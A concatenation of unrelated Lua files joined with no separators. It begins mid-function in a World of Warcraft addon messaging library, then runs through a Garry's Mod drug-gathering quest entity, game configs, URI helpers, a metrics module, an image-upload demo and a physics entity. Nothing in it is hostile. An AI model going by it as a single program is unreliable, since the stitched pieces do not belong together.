expected string or nil, got " .. type(queue), 2) elseif callback and type(callback) ~= "function" then error("Chomp.SendAddonMessage: callback: expected function or nil, got " .. type(callback), 2) end local length = #text if length > 255 then error("Chomp.SendAddonMessage: text length cannot exceed 255 bytes", 2) elseif #prefix > 16 then error("Chomp.SendAddonMessage: prefix: length cannot exceed 16 bytes", 2) end if not Internal.isReady then QueueMessageOut("SendAddonMessage", prefix, text, kind, target, priority, queue, callback, callbackArg) return end if not kind then kind = "PARTY" else kind = kind:upper() end if target and kind == "WHISPER" then target = Ambiguate(target, "none") end length = length + #prefix + OVERHEAD if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp then -- CTL likes to drop RAID messages, despite the game falling back -- automatically to PARTY. if kind == "RAID" and not IsInRaid() then kind = "PARTY" end ChatThrottleLib:SendAddonMessage(PRIORITY_TO_CTL[priority] or "NORMAL", prefix, text, kind, target, queue or ("%s%s%s"):format(prefix, kind, tostring(target) or ""), callback, callbackArg) return end if not Internal.hasQueue and length <= Internal:UpdateBytes() then Internal.bytes = Internal.bytes - length Internal.isSending = true C_ChatInfo.SendAddonMessage(prefix, text, kind, target) Internal.isSending = false if callback then xpcall(callback, CallErrorHandler, callbackArg, true) end return end local message = { f = C_ChatInfo.SendAddonMessage, [1] = prefix, [2] = text, [3] = kind, [4] = target, kind = kind, length = length, callback = callback, callbackArg = callbackArg, } return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%s%s"):format(prefix, kind, (tostring(target) or "")), message) end function Chomp.SendAddonMessageLogged(prefix, text, kind, target, priority, queue, callback, callbackArg) if type(prefix) ~= "string" then error("Chomp.SendAddonMessageLogged: prefix: expected string, got " .. type(prefix), 2) elseif type(text) ~= "string" then error("Chomp.SendAddonMessageLogged: text: expected string, got " .. type(text), 2) elseif kind == "WHISPER" and type(target) ~= "string" then error("Chomp.SendAddonMessageLogged: target: expected string, got " .. type(target), 2) elseif kind == "CHANNEL" and type(target) ~= "number" then error("Chomp.SendAddonMessageLogged: target: expected number, got " .. type(target), 2) elseif priority and not PRIORITIES_HASH[priority] then error("Chomp.SendAddonMessageLogged: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2) elseif queue and type(queue) ~= "string" then error("Chomp.SendAddonMessageLogged: queue: expected string or nil, got " .. type(queue), 2) elseif callback and type(callback) ~= "function" then error("Chomp.SendAddonMessageLogged: callback: expected function or nil, got " .. type(callback), 2) end local length = #text if length > 255 then error("Chomp.SendAddonMessageLogged: text length cannot exceed 255 bytes", 2) elseif #prefix > 16 then error("Chomp.SendAddonMessageLogged: prefix: length cannot exceed 16 bytes", 2) end if not Internal.isReady then QueueMessageOut("SendAddonMessageLogged", prefix, text, kind, target, priority, queue, callback, callbackArg) return end if not kind then kind = "PARTY" else kind = kind:upper() end if target and kind == "WHISPER" then target = Ambiguate(target, "none") end length = length + #prefix + OVERHEAD if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp and ChatThrottleLib.SendAddonMessageLogged then -- CTL likes to drop RAID messages, despite the game falling back -- automatically to PARTY. if kind == "RAID" and not IsInRaid() then kind = "PARTY" end ChatThrottleLib:SendAddonMessageLogged(PRIORITY_TO_CTL[priority] or "NORMAL", prefix, text, kind, target, queue or ("%s%s%s"):format(prefix, kind, tostring(target) or ""), callback, callbackArg) return end if not Internal.hasQueue and length <= Internal:UpdateBytes() then Internal.bytes = Internal.bytes - length Internal.isSending = true C_ChatInfo.SendAddonMessageLogged(prefix, text, kind, target) Internal.isSending = false if callback then xpcall(callback, CallErrorHandler, callbackArg, true) end return end local message = { f = C_ChatInfo.SendAddonMessageLogged, [1] = prefix, [2] = text, [3] = kind, [4] = target, kind = kind, length = length, callback = callback, callbackArg = callbackArg, } return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%s%s"):format(prefix, kind, (tostring(target) or "")), message) end function Chomp.SendChatMessage(text, kind, language, target, priority, queue, callback, callbackArg) if type(text) ~= "string" then error("Chomp.SendChatMessage: text: expected string, got " .. type(text), 2) elseif language and type(language) ~= "string" and type(language) ~= "number" then error("Chomp.SendChatMessage: language: expected string or number, got " .. type(language), 2) elseif kind == "WHISPER" and type(target) ~= "string" then error("Chomp.SendChatMessage: target: expected string, got " .. type(target), 2) elseif kind == "CHANNEL" and type(target) ~= "number" then error("Chomp.SendChatMessage: target: expected number, got " .. type(target), 2) elseif priority and not PRIORITIES_HASH[priority] then error("Chomp.SendChatMessage: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2) elseif queue and type(queue) ~= "string" then error("Chomp.SendChatMessage: queue: expected string or nil, got " .. type(queue), 2) elseif callback and type(callback) ~= "function" then error("Chomp.SendChatMessage: callback: expected function or nil, got " .. type(callback), 2) end local length = #text if length > 255 then error("Chomp.SendChatMessage: text length cannot exceed 255 bytes", 2) end if not Internal.isReady then QueueMessageOut("SendChatMessage", text, kind, language, target, priority, queue, callback, callbackArg) return end if not kind then kind = "SAY" else kind = kind:upper() end if target and kind == "WHISPER" then target = Ambiguate(target, "none") end length = length + OVERHEAD if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp then -- CTL likes to drop RAID messages, despite the game falling back -- automatically to PARTY. if kind == "RAID" and not IsInRaid() then kind = "PARTY" end ChatThrottleLib:SendChatMessage(PRIORITY_TO_CTL[priority] or "NORMAL", "Chomp", text, kind, language, target, queue or kind .. (target or ""), callback, callbackArg) return end if not Internal.hasQueue and length <= Internal:UpdateBytes() then Internal.bytes = Internal.bytes - length Internal.isSending = true SendChatMessage(text, kind, language, target) Internal.isSending = false if callback then xpcall(callback, CallErrorHandler, callbackArg, true) end return end local message = { f = SendChatMessage, [1] = text, [2] = kind, [3] = language, [4] = target, kind = kind, length = length, callback = callback, callbackArg = callbackArg, } return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or kind .. (target or ""), message) end function Chomp.BNSendGameData(bnetIDGameAccount, prefix, text, priority, queue, callback, callbackArg) if type(prefix) ~= "string" then error("Chomp.BNSendGameData: prefix: expected string, got " .. type(text), 2) elseif type(text) ~= "string" then error("Chomp.BNSendGameData: text: expected string, got " .. type(text), 2) elseif type(bnetIDGameAccount) ~= "number" then error("Chomp.BNSendGameData: bnetIDGameAccount: expected number, got " .. type(bnetIDGameAccount), 2) elseif priority and not PRIORITIES_HASH[priority] then error("Chomp.BNSendGameData: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2) elseif queue and type(queue) ~= "string" then error("Chomp.BNSendGameData: queue: expected string or nil, got " .. type(queue), 2) elseif callback and type(callback) ~= "function" then error("Chomp.BNSendGameData: callback: expected function or nil, got " .. type(callback), 2) end local length = #text if length > 4078 then error("Chomp.BNSendGameData: text: length cannot exceed 4078 bytes", 2) elseif #prefix > 16 then error("Chomp.BNSendGameData: prefix: length cannot exceed 16 bytes", 2) end if not Internal.isReady then QueueMessageOut("BNSendGameData", bnetIDGameAccount, prefix, text, priority, queue, callback, callbackArg) return end length = length + 18 -- 16 byte prefix, 2 byte bnetIDAccount if not Internal.hasQueue and length <= Internal:UpdateBytes() then Internal.bytes = Internal.bytes - length Internal.isSending = true BNSendGameData(bnetIDGameAccount, prefix, text) Internal.isSending = false if callback then xpcall(callback, CallErrorHandler, callbackArg, true) end return end local message = { f = BNSendGameData, [1] = bnetIDGameAccount, [2] = prefix, [3] = text, length = length, callback = callback, callbackArg = callbackArg, } return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%d"):format(prefix, bnetIDGameAccount), message) end function Chomp.BNSendWhisper(bnetIDAccount, text, priority, queue, callback, callbackArg) if type(text) ~= "string" then error("Chomp.BNSendWhisper: text: expected string, got " .. type(text), 2) elseif type(bnetIDAccount) ~= "number" then error("Chomp.BNSendWhisper: bnetIDAccount: expected number, got " .. type(bnetIDAccount), 2) elseif priority and not PRIORITIES_HASH[priority] then error("Chomp.BNSendWhisper: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2) elseif queue and type(queue) ~= "string" then error("Chomp.BNSendWhisper: queue: expected string or nil, got " .. type(queue), 2) elseif callback and type(callback) ~= "function" then error("Chomp.BNSendWhisper: callback: expected function or nil, got " .. type(callback), 2) end local length = #text if length > 997 then error("Chomp.BNSendWhisper: text length cannot exceed 997 bytes", 2) end if not Internal.isReady then QueueMessageOut("BNSendWhisper", bnetIDAccount, text, priority, queue, callback, callbackArg) return end length = length + 2 -- 2 byte bnetIDAccount if not Internal.hasQueue and length <= Internal:UpdateBytes() then Internal.bytes = Internal.bytes - length Internal.isSending = true BNSendWhisper(bnetIDAccount, text) Internal.isSending = false if callback then xpcall(callback, CallErrorHandler, callbackArg, true) end return end local message = { f = BNSendWhisper, [1] = bnetIDAccount, [2] = text, length = length, callback = callback, callbackArg = callbackArg, } return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or tostring(bnetIDAccount), message) end function Chomp.IsSending() return Internal.isSending end local DEFAULT_SETTINGS = { fullMsgOnly = true, validTypes = { ["string"] = true, }, } function Chomp.RegisterAddonPrefix(prefix, callback, prefixSettings) local prefixType = type(prefix) if prefixType ~= "string" then error("Chomp.RegisterAddonPrefix: prefix: expected string, got " .. prefixType, 2) elseif prefixType == "string" and #prefix > 16 then error("Chomp.RegisterAddonPrefix: prefix: length cannot exceed 16 bytes", 2) elseif type(callback) ~= "function" then error("Chomp.RegisterAddonPrefix: callback: expected function, got " .. type(callback), 2) elseif prefixSettings and type(prefixSettings) ~= "table" then error("Chomp.RegisterAddonPrefix: prefixSettings: expected table or nil, got " .. type(prefixSettings), 2) end if not prefixSettings then prefixSettings = DEFAULT_SETTINGS end if prefixSettings.validTypes and type(prefixSettings.validTypes) ~= "table" then error("Chomp.RegisterAddonPrefix: prefixSettings.validTypes: expected table or nil, got " .. type(prefixSettings.validTypes), 2) elseif prefixSettings.rawCallback and type(prefixSettings.rawCallback) ~= "function" then error("Chomp.RegisterAddonPrefix: prefixSettings.rawCallback: expected function or nil, got " .. type(prefixSettings.rawCallback), 2) end local prefixData = Internal.Prefixes[prefix] if not prefixData then prefixData = { callback = callback, rawCallback = prefixSettings.rawCallback, fullMsgOnly = prefixSettings.fullMsgOnly, broadcastPrefix = prefixSettings.broadcastPrefix, } local validTypes = prefixSettings.validTypes or DEFAULT_SETTINGS.validTypes prefixData.validTypes = {} for dataType, func in pairs(Internal.Serialize) do if validTypes[dataType] then prefixData.validTypes[dataType] = true end end Internal.Prefixes[prefix] = prefixData if not C_ChatInfo.IsAddonMessagePrefixRegistered(prefix) then C_ChatInfo.RegisterAddonMessagePrefix(prefix) end else error("Chomp.RegisterAddonPrefix: prefix handler already registered, Chomp currently supports only one handler per prefix") end end function Chomp.IsAddonPrefixRegistered(prefix) return Internal.Prefixes[prefix] ~= nil end local nextSessionID = math.random(0, 4095) local function SplitAndSend(sendFunc, maxSize, bitField, prefix, text, ...) local textLen = #text -- Subtract Chomp metadata from maximum size. maxSize = maxSize - 12 local totalOffset = 0 local msgID = 0 local totalMsg = math.ceil(textLen / maxSize) local sessionID = nextSessionID nextSessionID = (nextSessionID + 1) % 4096 local position = 1 local codecVersion = Internal:GetCodecVersionFromBitfield(bitField) while position <= textLen do -- Only *need* to do a safe substring for encoded channels, but doing so -- always shouldn't hurt. local msgText, offset = Chomp.SafeSubString(text, position, position + maxSize - 1, textLen, codecVersion) if offset > 0 then -- Update total offset and total message number if needed. totalOffset = totalOffset + offset totalMsg = math.ceil((textLen + totalOffset) / maxSize) end msgID = msgID + 1 msgText = ("%03X%03X%03X%03X%s"):format(bitField, sessionID, msgID, totalMsg, msgText) sendFunc(prefix, msgText, ...) position = position + maxSize - offset end end local function ToInGame(bitField, prefix, text, kind, target, priority, queue) return SplitAndSend(Chomp.SendAddonMessage, 255, bitField, prefix, text, kind, target, priority, queue) end local function ToInGameLogged(bitField, prefix, text, kind, target, priority, queue) return SplitAndSend(Chomp.SendAddonMessageLogged, 255, bitField, prefix, text, kind, target, priority, queue) end local function BNSendGameDataRearrange(prefix, text, bnetIDGameAccount, ...) return Chomp.BNSendGameData(bnetIDGameAccount, prefix, text, ...) end local function ToBattleNet(bitField, prefix, text, kind, bnetIDGameAccount, priority, queue) return SplitAndSend(BNSendGameDataRearrange, 4078, bitField, prefix, text, bnetIDGameAccount, priority, queue) end local DEFAULT_OPTIONS = {} function Chomp.SmartAddonMessage(prefix, data, kind, target, messageOptions) local prefixData = Internal.Prefixes[prefix] if not prefixData then error("Chomp.SmartAddonMessage: prefix: prefix has not been registered with Chomp", 2) elseif type(kind) ~= "string" then error("Chomp.SmartAddonMessage: kind: expected string, got " .. type(kind), 2) elseif kind == "WHISPER" and type(target) ~= "string" then error("Chomp.SmartAddonMessage: target: expected string, got " .. type(target), 2) elseif kind == "CHANNEL" and type(target) ~= "number" then error("Chomp.SmartAddonMessage: target: expected number, got " .. type(target), 2) elseif target and kind ~= "WHISPER" and kind ~= "CHANNEL" then error("Chomp.SmartAddonMessage: target: expected nil, got " .. type(target), 2) end if not messageOptions then messageOptions = DEFAULT_OPTIONS end local dataType = type(data) if not prefixData.validTypes[dataType] then error("Chomp.SmartAddonMessage: data: type not registered as valid: " .. dataType, 2) elseif dataType ~= "string" and not messageOptions.serialize then error("Chomp.SmartAddonMessage: data: no serialization requested, but serialization required for type: " .. dataType, 2) elseif messageOptions.priority and not PRIORITIES_HASH[messageOptions.priority] then error("Chomp.SmartAddonMessage: messageOptions.priority: expected \"HIGH\", \"MEDIUM\", or \"LOW\", got " .. tostring(messageOptions.priority), 2) elseif messageOptions.queue and type(messageOptions.queue) ~= "string" then error("Chomp.SmartAddonMessage: messageOptions.queue: expected string or nil, got " .. type(messageOptions.queue), 2) end if not Internal.isReady then QueueMessageOut("SmartAddonMessage", prefix, data, kind, target, messageOptions) return end local bitField = 0x000 bitField = bit.bor(bitField, Internal.BITS.VERSION16) if messageOptions.serialize then bitField = bit.bor(bitField, Internal.BITS.SERIALIZE) data = Chomp.Serialize(data) end if not messageOptions.binaryBlob then local permitted, reason = Chomp.CheckLoggedContents(data) if not permitted then error(("Chomp.SmartAddonMessage: data: messageOptions.binaryBlob not specified, but disallowed sequences found, code: %s"):format(reason), 2) end end if kind == "WHISPER" then target = Chomp.NameMergedRealm(target) end local codecVersion if Internal:TargetSupportsCodecV2(prefix, target) then codecVersion = 2 bitField = bit.bor(bitField, Internal.BITS.CODECV2) else codecVersion = 1 end local queue = ("%s%s%s"):format(prefix, kind, tostring(target) or "") if kind == "WHISPER" then -- GetBattleNetAccountID() only returns an ID for crossfaction and -- crossrealm targets. local bnetIDGameAccount = Internal:GetBattleNetAccountID(target) if bnetIDGameAccount then ToBattleNet(bitField, prefix, Internal.EncodeQuotedPrintable(data, false, codecVersion), kind, bnetIDGameAccount, messageOptions.priority, messageOptions.queue or queue) return "BATTLENET" end local targetUnit = Ambiguate(target, "none") -- Swap the commented line for the one following it to force testing of -- broadcast whispers. --if prefixData.broadcastPrefix and messageOptions.allowBroadcast and UnitInParty(targetUnit) then if prefixData.broadcastPrefix and messageOptions.allowBroadcast and UnitRealmRelationship(targetUnit) == LE_REALM_RELATION_COALESCED then bitField = bit.bor(bitField, Internal.BITS.BROADCAST) kind = UnitInRaid(targetUnit, LE_PARTY_CATEGORY_HOME) and not UnitInSubgroup(targetUnit, LE_PARTY_CATEGORY_HOME) and "RAID" or UnitInParty(targetUnit, LE_PARTY_CATEGORY_HOME) and "PARTY" or "INSTANCE_CHAT" data = ("%s\127%s"):format(not messageOptions.universalBroadcast and Chomp.NameMergedRealm(target) or "", data) target = nil if messageOptions.universalBroadcast then queue = nil end end end if not messageOptions.binaryBlob then ToInGameLogged(bitField, prefix, Internal.EncodeQuotedPrintable(data, true, codecVersion), kind, target, messageOptions.priority, messageOptions.queue or queue) return "LOGGED" end ToInGame(bitField, prefix, data, kind, target, messageOptions.priority, messageOptions.queue or queue) return "UNLOGGED" end local ReportLocation = CreateFromMixins(PlayerLocationMixin) function Chomp.CheckReportGUID(prefix, guid) local prefixData = Internal.Prefixes[prefix] if type(prefix) ~= "string" then error("Chomp.CheckReportGUID: prefix: expected string, got " .. type(prefix), 2) elseif type(guid) ~= "string" then error("Chomp.CheckReportGUID: guid: expected string, got " .. type(guid), 2) elseif not prefixData then error("Chomp.CheckReportGUID: prefix: prefix has not been registered with Chomp", 2) end local success, _, _, _, _, _, name, realm = pcall(GetPlayerInfoByGUID, guid) if not success or not name or name == UNKNOWNOBJECT then return false, "UNKNOWN" end local target = Chomp.NameMergedRealm(name, realm) if Internal:GetBattleNetAccountID(target) then return false, "BATTLENET" end ReportLocation:SetGUID(guid) if C_ReportSystem then return C_ReportSystem.CanReportPlayer(ReportLocation), "LOGGED" else return C_ChatInfo.CanReportPlayer(ReportLocation), "LOGGED" end end function Chomp.ReportGUID(prefix, guid, customMessage) local prefixData = Internal.Prefixes[prefix] if type(prefix) ~= "string" then error("Chomp.ReportGUID: prefix: expected string, got " .. type(prefix), 2) elseif customMessage and type(customMessage) ~= "string" then error("Chomp.ReportGUID: customMessage: expected string, got " .. type(customMessage), 2) elseif type(guid) ~= "string" then error("Chomp.ReportGUID: guid: expected string, got " .. type(guid), 2) elseif not prefixData then error("Chomp.ReportGUID: prefix: prefix has not been registered with Chomp", 2) end local canReport, reason = Chomp.CheckReportGUID(prefix, guid) if canReport then if C_ReportSystem then local _, _, _, _, _, name, realm = GetPlayerInfoByGUID(guid) if name and realm then C_ReportSystem.OpenReportPlayerDialog(PLAYER_REPORT_TYPE_LANGUAGE, name .. "-" .. realm, ReportLocation) end else C_ChatInfo.ReportPlayer(PLAYER_REPORT_TYPE_LANGUAGE, ReportLocation, ("Report for logged addon prefix: %s. %s"):format(prefix, customMessage or "Objectionable content in logged addon messages.")) end return true, reason end return false, reason end -- TODO: Can remove this once Classic, BC, and Retail are all updated. local function CopyValuesAsKeys(tbl) local output = {} for k, v in ipairs(tbl) do output[v] = v end return output end Chomp.Event = CopyValuesAsKeys( { "OnMessageReceived", "OnError", } ) function Chomp.RegisterCallback(event, func, owner) if type(event) ~= "string" then error("Chomp.RegisterCallback: 'event' must be a string") elseif not Chomp.Event[event] then error(string.format("Chomp.RegisterCallback: event %q does not exist", event)) elseif type(func) ~= "function" and type(func) ~= "table" then error("Chomp.RegisterCallback: 'func' must be callable") elseif type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then error("Chomp.RegisterCallback: 'owner' must be string, table, or coroutine") end Internal.RegisterCallback(owner, event, function(_, ...) return func(owner, ...) end) end function Chomp.UnregisterCallback(event, owner) if type(event) ~= "string" then error("Chomp.UnregisterCallback: 'event' must be a string") elseif not Chomp.Event[event] then error(string.format("Chomp.UnregisterCallback: event %q does not exist", event)) elseif type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then error("Chomp.UnregisterCallback: 'owner' must be string, table, or coroutine") end Internal.UnregisterCallback(owner, event) end function Chomp.UnregisterAllCallbacks(owner) if type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then error("Chomp.UnregisterAllCallbacks: 'owner' must be string, table, or coroutine") end Internal.UnregisterAllCallbacks(owner) end function Chomp.RegisterErrorCallback(callback) -- v18+: RegisterErrorCallback is deprecated in favor of the generic -- RegisterCallback system. local event = "OnError" local func = function(_, ...) return callback(...) end local owner = tostring(callback) Chomp.RegisterCallback(event, func, owner) return true end function Chomp.UnregisterErrorCallback(callback) -- v18+: UnregisterErrorCallback is deprecated in favor of the generic -- UnregisterCallback system. local event = "OnError" local owner = tostring(callback) Chomp.UnregisterCallback(event, owner) return true end -- v18+: Deprecated alias for the old typo'd function name. Chomp.UnegisterErrorCallback = Chomp.UnregisterErrorCallback function Chomp.GetBPS() return Internal.BPS, Internal.BURST end function Chomp.SetBPS(bps, burst) if type(bps) ~= "number" then error("Chomp.SetBPS: bps: expected number, got " .. type(bps), 2) elseif type(burst) ~= "number" then error("Chomp.SetBPS: burst: expected number, got " .. type(burst), 2) end Internal.BPS = bps Internal.BURST = burst end function Chomp.GetVersion() return Internal.VERSION end
AddCSLuaFile( "cl_init.lua" ) AddCSLuaFile( "shared.lua" ) include('shared.lua') util.AddNetworkString( "UpdateReward" ) function ENT:Initialize( ) self:SetModel( "models/props/cs_office/plant01.mdl" ) self:PhysicsInit( SOLID_VPHYSICS ) self:SetMoveType( MOVETYPE_VPHYSICS ) self:SetSolid( SOLID_VPHYSICS ) self:SetUseType( SIMPLE_USE ) end function ENT:OnTakeDamage( dmg ) return false end function ENT:AcceptInput( Name, Activator, Caller ) if ( Name == "Use" and Caller:IsPlayer() ) then if ( not Caller:GetNWBool( "Jill_Default_Quest_6_Accepted", false ) ) then return end self:Remove() Caller.JillPlants = Caller.JillPlants or 0 Caller.JillPlants = Caller.JillPlants + 1 if ( Caller.JillPlants == 1 ) then Caller:MessageClient( "bad", "Jill said that the alarm would go off when I picked the first one up. I should hurry." ) for k, v in pairs( player.GetAll() ) do if ( JILL.PoliceNotifications[ v:Team() ] ) then v:MessageClient( "bad", "Attention please! There has been a security breach within our station, please, all units respond." ) v:EmitSound( "npc/overwatch/radiovoice/allteamsrespondcode3.wav" ) end end Caller:MessageClient( "good", "I got one! I could continue gathering more drugs for more money or I could back out and deliver the quest." ) Caller:SetNWBool( "Jill_Default_Quest_6_Completed", true ) hook.Call( "Fluffy_QuestSystem_OnObjectiveCompleted", nil, Caller, "Jill_Default_Quest_6"); end JILL.Quests[ "Jill_Default_Quest_6" ][ 1 ][ 1 ][ "reward" ] = { [ "darkrp_money" ] = JILL.Quests[ "Jill_Default_Quest_6" ][ 1 ][ 1 ][ "reward" ][ "darkrp_money" ] + JILL.CocainePlantReward } end end
return { { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67141 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67161 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67142 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67162 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67143 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67163 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67144 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67164 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67145 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67165 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67146 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67166 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67147 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67167 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67148 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67168 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67149 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67169 } } } }, { effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67150 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67170 } } } }, uiEffect = "", name = "剑鱼出击改", cd = 0, painting = 1, id = 11580, picture = "1", castCV = "skill", desc = "轰炸", aniEffect = { effect = "jineng", offset = { 0, -2, 0 } }, effect_list = { { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67140 } }, { type = "BattleSkillFire", casterAniEffect = "", target_choise = "TargetNil", targetAniEffect = "", arg_list = { weapon_id = 67160 } } } }
-- uri component encode/decode (https://github.com/daurnimator/lua-http/blob/master/http/util.lua) local M = {} -- Encodes a character as a percent encoded string local function char_to_pchar(c) return string.format("%%%02X", c:byte(1,1)) end -- replaces all characters except the following with the appropriate UTF-8 escape sequences: -- ; , / ? : @ & = + $ -- alphabetic, decimal digits, - _ . ! ~ * ' ( ) -- # function M.encode(str) return (str:gsub("[^%;%,%/%?%:%@%&%=%+%$%w%-%_%.%!%~%*%'%(%)%#]", char_to_pchar)) end -- escapes all characters except the following: alphabetic, decimal digits, - _ . ! ~ * ' ( ) function M.encode_component(str) return (str:gsub("[^%w%-_%.%!%~%*%'%(%)]", char_to_pchar)) end -- unescapes url encoded characters -- excluding characters that are special in urls local decodeURI_blacklist = {} for char in ("#$&+,/:;=?@"):gmatch(".") do decodeURI_blacklist[string.byte(char)] = true end local function decodeURI_helper(str) local x = tonumber(str, 16) if not decodeURI_blacklist[x] then return string.char(x) end -- return nothing; gsub will not perform the replacement end function M.decode(str) return (str:gsub("%%(%x%x)", decodeURI_helper)) end -- Converts a hex string to a character local function pchar_to_char(str) return string.char(tonumber(str, 16)) end function M.decode_component(str) return (str:gsub("%%(%x%x)", pchar_to_char)) end return M
-- Copyright (C) by Jianhao Dai (Toruneko) local measurement = require "resty.influx.measurement" local setmetatable = setmetatable local concat = table.concat local sort = table.sort local md5 = ngx.md5 local ipairs = ipairs local pairs = pairs local _M = { _VERSION = '0.0.5' } local mt = { __index = _M } local ok, new_tab = pcall(require, "table.new") if not ok then new_tab = function(narr, nrec) return {} end end local function create_key(key, tags) if not tags then return md5(key) end local tab = new_tab(10, 0) tab[1] = key for name, value in pairs(tags) do tab[#tab + 1] = name .. ":" .. value end sort(tab) return md5(concat(tab, ",")) end function _M.new(reporters) return setmetatable({ map = new_tab(0, 100), reporters = reporters or {}, }, mt) end function _M.measurement(self, key, tags) local hashkey = create_key(key, tags) if self.map[hashkey] then return self.map[hashkey] end local m = measurement.new(key, tags) self.map[hashkey] = m return m end function _M.report(self) local measurements = self.map for _, measurement in pairs(measurements) do for _, reporter in ipairs(self.reporters) do reporter:report(measurement) end measurement:clear() end self.map = new_tab(0, 100) end return _M
Config = {} Config.Gangs = { ['lostmc'] = vector3(0, 0, 0), ['ballas'] = vector3(86.75, -1958.28, 21.12), ['vagos'] = vector3(0, 0, 0), ['cartel'] = vector3(0, 0, 0), ['families'] = vector3(0, 0, 0), ['triads'] = vector3(0, 0, 0) }
require("examples.utils"); require("examples.base64"); local img = GetFile("./examples/img.png"); local ba = URLEncode(BASE64Encode(img)); --print(ba); Req:SendMapString("img="..ba);
ParticlePhysics = { Properties = { object_Model = "Objects/default/primitive_box.cgf", Particle = { mass = 50.0, radius = 1.0, air_resistance = 0.0, gravity = {x=0.0, y=0.0, z=-9.81}, water_resistance = 0.5, water_gravity = {x=0.0, y=0.0, z=-9.81*0.8}, min_bounce_vel = 1.5, accel_thrust = 0, accel_lift = 0, velocity = {x=0.0, y=0.0, z=0.0}, thickness = 1.0, wspin = {x=0.0, y=0.0, z=0.0}, normal = {x=0.0, y=0.0, z=1.0}, pierceability = 15, constant_orientation = false, single_contact = true, no_roll = false, no_spin = true, no_path_alignment = false, collider_to_ignore = 0, material = "", -- this is supposed to be the surface type }, }, Editor = { Icon = "physicsobject.bmp", IconOnTop = 1, }, } function ParticlePhysics:SetFromProperties() local Properties = self.Properties; self:FreeSlot(0); if (Properties.object_Model ~= "") then self:LoadObject(0, Properties.object_Model); end NormalizeVector(Properties.Particle.normal); self:Physicalize(0, PE_PARTICLE, Properties); self:SetSlotPos(0, {0.0, 0.0, -Properties.Particle.thickness*0.5}); end function ParticlePhysics:OnSpawn() self:OnReset(); end function ParticlePhysics:OnPropertyChange() self:OnReset(); end function ParticlePhysics:OnReset() self:SetFromProperties(); end
